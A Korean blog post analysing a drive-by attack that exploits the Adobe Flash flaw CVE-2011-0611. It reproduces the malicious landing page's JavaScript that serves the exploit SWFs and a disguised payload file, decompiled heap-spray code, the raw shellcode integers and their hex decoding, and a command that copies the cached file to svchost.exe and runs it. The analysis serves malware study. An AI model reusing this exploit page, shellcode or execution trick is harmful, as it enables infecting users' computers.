CVE-2011-0611 분석 :: Drive-By-Cache Infections

최근에 Adobe Flash 취약점 (CVE-2011-0611) 이 발표되었다. 그리고 해당 취약점은 지난 주말에 악성코드 유포에 이용되어 국내에 관련 악성코드 피해건수가 꽤나 높게 나왔다.

이번에 해당 취약점을 분석하면서 흥미로운 포스팅을 하나 보았다. 기존 웹을 통해 유포되는 악성코드는 대부분 취약점을 통해 쉘코드를 실행하는데, 이 쉘코드는 대부분 악성코드를 Download & Excute 하는 쉘코드이다.

하지만 이번에 이용된 쉘코드는 기존과 달랐다. 어떻게 다른지 한번 살펴보자. 우선 취약점 관련 코드이다.

<html>
<head>
<script type="text/javascript">
function getCookieVal (offset){
    var endstr = document.cookie.indexOf (";", offset);
    if (endstr == -1) {
        endstr = document.cookie.length;
    }
    return unescape(document.cookie.substring(offset, endstr));
}
function GetCookie (name){
    var arg = name + "=";
    var alen = arg.length;
    var clen = document.cookie.length;
    var i = 0;
    while (i < clen){
       var j = i + alen;
       if (document.cookie.substring(i, j) == arg)
          return getCookieVal (j);
       i = document.cookie.indexOf(" ", i) + 1;
       if (i == 0)
          break;
       }
    return null;
    }
function SetCookie (name, value){
    var argv = SetCookie.arguments;
    var argc = SetCookie.arguments.length;
    var expires = (2 < argc) ? argv[2] : null;
    var path = (3 < argc) ? argv[3] : null;
    var domain = (4 < argc) ? argv[4] : null;
    var secure = (5 < argc) ? argv[5] : false;
    document.cookie = name + "=" + escape (value) +
      ((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
      ((path == null) ? "" : ("; path=" + path)) +
      ((domain == null) ? "" : ("; domain=" + domain)) +
         ((secure == true) ? "; secure" : "");
}
function DisplayInfo(){
    var expdate = new Date();
    var visit;
    expdate.setTime(expdate.getTime() +  (24 * 60 * 60 * 1000 ));
    if(!(visit = GetCookie("visit")))
    visit = 0;
    visit++;
    SetCookie("visit", visit, expdate, "/", null, false);
     return visit;
}

function code(){
    var num=DisplayInfo();
    if (num < 3){
        return 1;
    }
    else{
        return 0;
    }
}
function user(){
    var t1="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
    "<object width=\"550\" height=\"400\">\r\n"+
    "<param name=\"movie\" value=\"done.swf\">\r\n"+
    "<embed src=\"t1.swf\" width=\"550\" height=\"400\">\r\n"+
    "<\/embed>\r\n"+
    "<\/object>"
    ;

    var t8="<script type=\"text/javascript\">window.onerror=function(){return true;};<\/script>\r\n"+
    "<object classID=yg.dll#yg.e><\/object>\r\n"+
    "<object width=\"550\" height=\"400\">\r\n"+
    "<param name=\"movie\" value=\"done.swf\">\r\n"+
    "<embed src=\"t8.swf\" width=\"550\" height=\"400\">\r\n"+
    "<\/embed>\r\n"+
    "<\/object>"
    ;
    var info = navigator.userAgent.toLowerCase();
    var win = (navigator.platform == "Win32") || (navigator.platform == "Windows");
    var ck=code();
    window.onerror=function(){return true;}
    var page="";
    var temp=navigator.userAgent.toLowerCase();
    var ie6 = temp.indexOf("msie 6.")!=-1;var ie7 = temp.indexOf("msie 7.")!=-1;var ie8 = temp.indexOf("msie 8.")!=-1;if(ie8){ie6=false;ie7=false;}if(ie7){ie6=false;}
    var fox = temp.indexOf("firefox/")!=-1;
    var xp=((temp.indexOf('windows nt 5.1')!=-1)||(temp.indexOf('windows xp')!=-1));
    if(ie6||ie7){document.body.innerHTML="xxxx"+t1}else if(ie8){document.body.innerHTML="xxxx"+t8}else{document.body.innerHTML="xxxx"+t1};
}
</script>
<script src=newsvine.jp2></script>
</head>
<body onload=user()>
</body>
</html>

코드를 보면 우선 t1.swf, t8.swf가 로드됨을 알 수 있다. 이 파일들로 인해 취약점이 발생하는 것이다. 그리고 하단에 보면 newsvine.jp2 파일을 삽입한다. 일단 newsvine.jp2 파일을 삽입함을 기억하고 넘어가도록 하자.

이제 t1.swf 파일을 분석해보자. 디컴파일러를 통해 우선 코드를 확인해보자. 디컴파일러는 여러 제품이 있지만 이툴도 사용해볼만 하다.

SWFScan : http://www.hp.com/go/swfscan

while(this.i < 1023)
            {
                writeBytes(this.s3, 0, this.s3.length);
                loc0 = this;
                loc1 = this.i + 1;
                loc0.i = this.i;
            }
            writeInt(2425393296);
            writeInt(2425393296);
            writeInt(3326443264);
            writeInt(1083216016);
            writeInt(3943717707);
            writeInt(63530681);
            writeInt(2231533620);
            writeInt(-69016838);
            writeInt(3943033067);
            writeInt(4294967051);
            writeInt(3118523106);
.
.
[생략]
.
.
            writeInt(3123304899);
            writeInt(3806520034);
            trace(this.s.length);
            this.i = 0;
            this.i = 0;
            while(this.i < 176)
            {
                this.s2 = new ByteArray();
                writeBytes(this.s, 0, this.s.length);
                trace(this.s2.length);
                push(this.s2);
                loc0 = this;
                loc1 = this.i + 1;
                loc0.i = this.i;
            }
            this.r = this.hexToBin(this.t);
            this.ldr = new Loader();
            loadBytes(this.r);
            stop();
            return;

writeInt(숫자)로 된 부분이 쉘코드임을 알 수 있다. 따라서 writeInt(숫자) 로 된 부분만 따로 떼어 아래와 같이 코드를 작성하여 쉘코드를 분석할 수 있다.

#!/usr/bin/env python
import re

s = '''
writeInt(2425393296);
writeInt(2425393296);
writeInt(3326443264);
writeInt(1083216016);
writeInt(3943717707);
writeInt(63530681);
writeInt(2231533620);
writeInt(-69016838);
writeInt(3943033067);
writeInt(4294967051);
writeInt(3118523106);
writeInt(3184599686);
writeInt(1137894114);
writeInt(3798573806);
writeInt(1235416681);
writeInt(3798590057);
writeInt(2331142421);
writeInt(2296888074);
writeInt(82043618);
writeInt(1107303050);
writeInt(3520127714);
writeInt(2327286151);
writeInt(2427873764);
writeInt(-88742942);
writeInt(3798534792);
writeInt(3820685877);
writeInt(3823297024);
writeInt(193629905);
writeInt(3504507537);
writeInt(2324139702);
writeInt(1239681755);
writeInt(3823297129);
writeInt(-91692101);
writeInt(-94641182);
writeInt(3791657833);
writeInt(107024054);
writeInt(1226705404);
writeInt(3138065634);
writeInt(3806509067);
writeInt(266527458);
writeInt(3112755848);
writeInt(3803426993);
writeInt(2296520116);
writeInt(4195031010);
writeInt(3806464575);
writeInt(220011905);
writeInt(2407976071);
writeInt(2592588493);
writeInt(2713887917);
writeInt(2965556656);
writeInt(3267413943);
writeInt(2980556978);
writeInt(2964169899);
writeInt(2930231230);
writeInt(2928509315);
writeInt(2395124103);
writeInt(2526448524);
writeInt(2240921270);
writeInt(2274333325);
writeInt(2424541339);
writeInt(3266022550);
writeInt(2274397319);
writeInt(2529338507);
writeInt(2391249342);
writeInt(3233990539);
writeInt(3266030786);
writeInt(3398207381);
writeInt(2442431372);
writeInt(2278083720);
writeInt(2463157186);
writeInt(2796405450);
writeInt(3397488518);
writeInt(3431438983);
writeInt(3267415425);
writeInt(3263596430);
writeInt(3268252098);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588484);
writeInt(3301081485);
writeInt(2459681472);
writeInt(3347824834);
writeInt(3348531087);
writeInt(2462563985);
writeInt(2491517581);
writeInt(2442579079);
writeInt(2592588493);
writeInt(2613232836);
writeInt(3263270790);
writeInt(3431438983);
writeInt(3268248002);
writeInt(2442560400);
writeInt(2529347478);
writeInt(2274333383);
writeInt(3197211777);
writeInt(2324533654);
writeInt(3431438983);
writeInt(3234581474);
writeInt(-85517027);
writeInt(226594694);
writeInt(3431438983);
writeInt(3792313372);
writeInt(220040594);
writeInt(2274157153);
writeInt(109478761);
writeInt(225044166);
writeInt(1093070433);
writeInt(-84599550);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805994);
writeInt(1226684265);
writeInt(-26238233);
writeInt(218237661);
writeInt(3806519841);
writeInt(1121585814);
writeInt(3898792459);
writeInt(2531746522);
writeInt(-107482269);
writeInt(2598859378);
writeInt(1114805762);
writeInt(2330650850);
writeInt(3798967015);
writeInt(218237685);
writeInt(3806519841);
writeInt(-84679966);
writeInt(3797611491);
writeInt(3865190638);
writeInt(3792298170);
writeInt(17439517);
writeInt(220051748);
writeInt(3847908285);
writeInt(3817088421);
writeInt(3877437985);
writeInt(2976464561);
writeInt(2292353762);
writeInt(4074955445);
writeInt(1235545610);
writeInt(2585599261);
writeInt(3122770868);
writeInt(1234689641);
writeInt(2529991393);
writeInt(129264020);
writeInt(3269531601);
writeInt(195797839);
writeInt(3777483065);
writeInt(3982291672);
writeInt(76999203);
writeInt(166060344);
writeInt(2718503897);
writeInt(4254533052);
writeInt(1237108449);
writeInt(260336110);
writeInt(2842279166);
writeInt(3779029478);
writeInt(1239492425);
writeInt(3166380298);
writeInt(1109335325);
writeInt(3499521006);
writeInt(1195199833);
writeInt(2171286445);
writeInt(4232480269);
writeInt(3045388061);
writeInt(1256780314);
writeInt(3123304899);
writeInt(3806520034);
'''

data = re.findall('\d+', s)

ret = []
for x in data:
    tmp = "%X" % int(x)
    ret.append(tmp)

print ''.join(ret)

위 코드로 완벽하게 변환은 되지 않지만 대충 어느정도 변환은 될것으로 보인다. 위 스크립트를 실행하면 아래와 같다.

C:\Users\ByJJoon\Desktop>run.py
9090909090909090c6457f0040909090eb105b4b3c966b98502803441d1d06eb05e8ebffffff0bb9e0e2e2bdd1228643d2e2e2e269a2ee49a2f669e269e2698af2691588e7bb0a4e3e2e242001a8ad1d0e2e28ab7918790b669e454a1c1ee2690a88e3bb0a35e3e2e200b8a8ed1d0e28a918a878eb649e40adbe3e2e2695771c455a41c1ee2001b696610eb6491e09fcbb0b14e2e2e2b80bfe2e2e2b988e288e2b3b0b188e21db4fa0b17e2e2e20a3fd1d1d818f86cc879a87c2cda1c2a4adb0c2cdb0c2c0c7b7b1a7b0b2b0ada4abaea7c7beae8d81838ec2b18796968b8c8591beb6878f928d9083909bc2ab8c9687908c8796c2a48b8e8791bec0c2c78bc2abacc2ca8c879591948b8c87c8cc8892d0cbc2a6adc2caca818f86cc879a87c2c0cd81c286878ec2cd91c2c796878f92c7be9194818a8d9196cc879a87c2c4c4c2818d929bc2c0c78bc0c2c796878f92c7be9194818a8d9196cc879a87c2cd9bc2c4c4c2818f86cc879a87c2cd81c29196839096c2c796878f92c7be9194818a8d9196cc879a87c0cbcbe2518e2e3d818f86cc879a87e20a1c1cd1d8d92878ce2616868369d69e6c64126ee6150ae2fe42da0a96e862da0b96e762da6680c9d9ae77272427296ea491db7691905d19d020adde2e2e22142da0a96e862da0b96e762da6680c9d9ae77272427296028aeae8e2e26fa2e7d020af5e2e2e22150c1d1ee25af3e3e66220eee209e0ba10a1b1dd1db924e55a6bbde38425a5e71d0221b1693eb188a28ae2f2e2e2b549a4ee0a9a1d1d1dba21b3b44997de6996cc9ae17b46994c2e117d1baba34fe127d139ed5cf2d8496ea239e5e138a20913d9fd9705bc49bcc6e1f8469eea969bcfee13f69e649e12749bcbb210a421f1d1dd09673ee473d4d59816b33adfc46860db584ef1d4ae8f21aba29d9c3e2e2e2e2

이제 나온 결과를 확인해보면 아래와 같은 문자열을 확인할 수 있다.

cmd.exe /C FOR /R "%USERPROFILE%\Local Settings\Temporary Internet Files\" %i IN (newsvine*.jp2) DO ((cmd.exe "/c del /s %temp%\svchost.exe && copy "%i" %temp%\svchost.exe /y && cmd.exe /c start %temp%\svchost.exe"))

이전에 삽입되었던 newsvine.jp2 파일을 %temp%svchost.exe 로 복사하여 실행하는 것이다. 여기서 newsvine*.jp2 와 같이 와일드카드를 이용하여 코드를 작성한 이유는 이전에 삽입되었던 파일이 인터넷 임시폴더에 저장될때 newsvine[1].jp2 등의 파일이름으로 저장되기 때문에 정확히 어떤 파일명인지 알수 없기 때문이다.

즉, 최근 브라우져에서 URLDownloadToFile() 함수를 호출하는 경우 백신에서 탐지를 하게 되므로 이를 우회하기 위해 다음과 같은 기법을 이용하는 것으로 보인다.

이러한 기법은 아주 흥미로운 내용인거 같다 🙂

참고 : http://blog.armorize.com/2011/04/newest-adobe-flash-0-day-used-in-new.html

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다